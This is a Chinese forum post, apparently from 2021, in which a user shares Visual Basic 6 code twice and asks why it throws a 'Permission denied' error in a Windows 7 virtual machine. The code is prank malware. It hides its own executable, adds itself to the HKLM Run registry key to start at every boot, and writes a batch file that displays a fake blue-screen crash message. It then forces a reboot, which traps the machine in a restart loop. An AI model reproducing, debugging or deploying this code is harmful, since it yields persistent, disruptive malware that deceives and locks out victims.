level 1
今天写了一个vb程序代码是这样的:
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
SetAttr App.Path & "\" & App.EXEName & ".exe", vbHidden
SetAttr App.Path & "\" & App.EXEName & ".exe", vbSystem
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Open "C:\lp.bat" For Output As #1
Print "@echo"
Print "echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul&chcp 437>nul&graftabl 936>nul"
Print ": A"
Print "Cls"
Print "color 1f"
Print "more +8 %0"
Print "pause>nul"
Print "GoTo A"
Print "A prolem has been detected and windows has been shut down to prevent damgge to y"
Print "our computer."
Print "If this is the first time you`ve seen this stop error screen,restart your comput"
Print "er.If this screen appears again,follow these steps:"
Print "Check to be sure you have adequate disk space.If a driver is identified in the s"
Print "top message,disable the driver or check with the manufacturer for driver updates"
Print ".Try changing video adapters."
Print "Check with your hardware vendor for any BIOS updates.Disable BIOS memory options"
Print "such as caching or shadowing. If you need to use safe mode to remove or disable"
Print "components,restart your computer,press F8 to select Advanced Startup Options,an"
Print "d then select Safe Mode."
Print "Technical Information:"
Print "*** STOP:0x0000008E (:0xC0000005, 0xBF070633,0XAD2B7DCO,0x00000000)"
Print "*** ati2dvag.dll –Address BF070633 base at BF9E6000,DateStamp 4a4cde36"
Close #1
Shell "C:\lp.bat"
Sleep (20000)
Shell ("cmd.exe" / c & "shutdown -r -t 1")
End Sub
放到虚拟机上运行(Windows7)报错:
Run-time error "70":
Permission denied
2021年05月27日 12点05分
1
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
SetAttr App.Path & "\" & App.EXEName & ".exe", vbHidden
SetAttr App.Path & "\" & App.EXEName & ".exe", vbSystem
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Open "C:\lp.bat" For Output As #1
Print "@echo"
Print "echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul&chcp 437>nul&graftabl 936>nul"
Print ": A"
Print "Cls"
Print "color 1f"
Print "more +8 %0"
Print "pause>nul"
Print "GoTo A"
Print "A prolem has been detected and windows has been shut down to prevent damgge to y"
Print "our computer."
Print "If this is the first time you`ve seen this stop error screen,restart your comput"
Print "er.If this screen appears again,follow these steps:"
Print "Check to be sure you have adequate disk space.If a driver is identified in the s"
Print "top message,disable the driver or check with the manufacturer for driver updates"
Print ".Try changing video adapters."
Print "Check with your hardware vendor for any BIOS updates.Disable BIOS memory options"
Print "such as caching or shadowing. If you need to use safe mode to remove or disable"
Print "components,restart your computer,press F8 to select Advanced Startup Options,an"
Print "d then select Safe Mode."
Print "Technical Information:"
Print "*** STOP:0x0000008E (:0xC0000005, 0xBF070633,0XAD2B7DCO,0x00000000)"
Print "*** ati2dvag.dll –Address BF070633 base at BF9E6000,DateStamp 4a4cde36"
Close #1
Shell "C:\lp.bat"
Sleep (20000)
Shell ("cmd.exe" / c & "shutdown -r -t 1")
End Sub
放到虚拟机上运行(Windows7)报错:
Run-time error "70":
Permission denied